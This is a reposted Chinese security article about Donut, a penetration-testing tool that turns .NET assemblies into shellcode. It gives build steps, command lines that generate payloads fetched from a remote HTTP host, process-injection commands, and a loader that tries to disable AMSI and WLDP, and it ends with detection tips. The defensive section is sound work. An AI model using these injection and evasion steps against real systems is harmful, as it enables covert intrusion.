本文轉載自【微信公眾號:MicroPest,ID:gh_696c36c5382b】,經微信公眾號授權轉載,如需轉載與原文作者聯繫
最近的工作中,發現了一款被大量運用在滲透領域、用來生成ShellCode中常用到的轉換工具,以替代Powershell逃避監測且使用頻率很高,尤其是境外非常流行;這就是我今天要介紹的主角:DoNut,並在最後給出了檢測要點。
一是文章很長,耐心看;二是這個工具實在強大,而且實戰中頻用;三是在上一篇C&C中,就用到了這個工具。
一、背景
1、在滲透測試中,C#將會逐步替代Powershell;
2、就目前的趨勢來說,C#開源的工具越來越多;
3、使用C#開發的程序都能通過Donut轉換成shellcode。
二、下載、編譯
這是一個由多個工具組成的工作集,核心程序是donut,其它的都是它的輔助程序,但都有很用。
2、編譯
幫助文檔給出了編譯方式,命令行下的nmake,nmake -f Makefile.msvc
編譯後,生成donut.exe。其他目錄中的都有sln,可以直接vs2019編譯生成Dll或Exe。
三、功能
Donut是一個ShellCode生成工具,可以將.NET程序集轉換為ShellCode。這是對Execute-Assembly的進一步利用,隱蔽性更高,可擴展性更強。這個donut程序的版本是0.93,可以將Exe、Dll、Vbs、Js轉換成ShellCode。
Donut的利用思路:
1.將.NET程序集轉換為shellcode,例如配合SILENTTRINITY使用
2.作為模塊集成到其他工具中
3.擴展功能:支持類似meterpreter的migrate功能。
為了更為隱蔽,可以先使用ProcessManager列舉已經加載CLR的進程,對其進行注入。
1、幫助
2、execute-assembly
從內存中加載.NET程序集,能夠以dll的形式注入到其他進程中。
整個過程在內存執行,不寫入文件系統(此時注入dll需要使用Dll反射)。
Payload以dll形式存在,不會產生可疑的進程。
註:如果使用Loadlibrary加載dll,dll必須寫入文件系統。
3、Donut
基於execute-assembly,以shellcode的形式實現從內存中加載.NET程序集。
優點:注入到其他進程時不再依賴於Dll反射,更隱蔽,更易於擴展。
更隱蔽:指注入其他進程時不會存在dll。
更易於擴展:指能夠執行shellcode的方法都可以使用Donut,基於Donut的二次開發也很容易。
四、子項目
1、子項目
1)DemoCreateProcess
c#程序,編譯後生成文件DemoCreateProcess.dll,功能為將傳入的兩個參數作為啟動進程。可通過Donut將其轉換成shellcode,用作測試Donut生成shellcode的功能是否有效。
2)DonutTest
c#程序,編譯後生成文件DonutTest.exe,用於向指定pid的進程注入shellcode。
數組中保存base64加密後的shellcode,解密後通過CreateRemoteThread注入到指定進程。
3)rundotnet.cpp
c#程序,編譯後的文件為rundotnet.exe,用於讀取指定文件並使用CLR從內存加載.NET程序集。
4)ModuleMonitor
使用WMI事件Win32_ModuleLoadTrace來監視模塊加載,如果發現CLR注入,將會標記。
.程序中判斷CLR注入的方法:
如果進程加載了CLR,但程序不是.NET程序集,則CLR已注入其中。
.程序中判斷進程加載CLR的方法:
進程是否加載了與CLR相關的dll(mscoree.dll,mscoreei.dll和mscorlib.dll),dll以"msco"開頭。
這個工程一般是作防禦檢測用,用來檢測系統是否產生了CLR注入事件,所以在啟動後進程會一直執行,實時記錄系統加載新模塊的事件。
5)ProcessManager
用於枚舉當前計算機或遠程計算機上的進程。
同tasklist.exe的功能類似,增加以下功能:
· 判斷進程權限
· 判斷進程位數(32位還是64位)
· 判斷進程是否加載CLR
2、組件
1)payload.c
Donut的關鍵功能,實現以下操作:
(1)獲得shellcode並解密
提供兩種方式:
· 從payload.h讀取shellcode和解密密鑰
· 從HTTP伺服器下載shellcode和解密密鑰
(2)使用CLR從內存加載.NET程序集
· 調用ICLRMetaHost::GetRuntime方法獲取ICLRRuntimeInfo指針
· 使用ICorRuntimeHost接口
· 嘗試關閉AMSI和WLDP
· 使用Load_3(...)從內存中讀取
2)exe2h
用來將exe轉換為shellcode並保存到數組中。
從payload.exe中的.text段中提取已編譯的機器碼(包括dll和解密密鑰),將其作為數組保存到payload_exe_x64.h或payload_exe_x86.h。
3)payload_exe_x64/x86.h
存儲64/32位的機器碼(包括dll和解密密鑰)。
4)inject.c
使用RtlCreateUserThread向指定進程注入shellcode。
可用作測試向指定進程注入shellcode的功能。
5)runsc.c
C/S架構,兩個功能,可以發送和接收shellcode並執行。
用於測試payload.bin的功能。
6)encrypt.c
對稱加密的實現。
7)hash.c
API Hashing,這裡使用了Maru hash。
8)donut.c
主程序,用於將.NET程序集轉換成shellcode。
五、測試
1、測試Dll
這裡使用子項目DemoCreateProcess
編譯後生成文件DemoCreateProcess.dll;
2、使用Donut生成shellcode
64位:
donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
32位:
donut.exe -a 1 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe
命令執行後生成文件payload.bin。
如果加了-u指定URL,會再生成一個隨機名稱的Module文件,實例如下:
donut.exe -a 2 -f ClassLibrary.dll -c TestClass -m RunProcess -p notepad.exe,calc.exe -u http://192.168.1.1
生成文件payload.bin和YX63F37T。
將YX63F37T上傳到http://192.168.1.1。
接下來通過注入shellcode的方式執行payload.bin,payload.bin會從http://192.168.1.1/YX63F37T下載實際的shellcode並執行。
3、查看進程信息
這裡使用子項目ProcessManager。
列出進程後,Managed選項如果為True,代表該進程已經加載CLR。
ProcessManager支持對指定進程進行篩選,例如只查看notepad.exe的進行信息,命令如下:
ProcessManager.exe --name notepad
4、注入shellcode
假設目標進程為3306
(1)使用子項目DonutTest
將payload.bin作base64編碼並保存在剪貼板,替換DonutTest工程中對應的變量,編譯成功後執行如下命令:
DonutTest.exe 3306
(2)使用RtlCreateUserThread
命令如下:
inject.exe 3306 payload.bin
六、Donut的檢測:
Donut需要使用CLR從內存中加載.NET程序集,可採取以下方法進行檢測:
· 進程不是.NET程序集
· 進程加載了與CLR相關的dll(dll以"msco"開頭)
註:正常程序也有可能存在這個行為。
兩種檢測方法:
· 使用命令tasklist /m msco*
· 使用WMI事件Win32_ModuleLoadTrace來監視模塊加載
對滿足以上條件的進程重點監控。
本文轉載自【微信公眾號:MicroPest,ID:gh_696c36c5382b】,經微信公眾號授權轉載,如需轉載與原文作者聯繫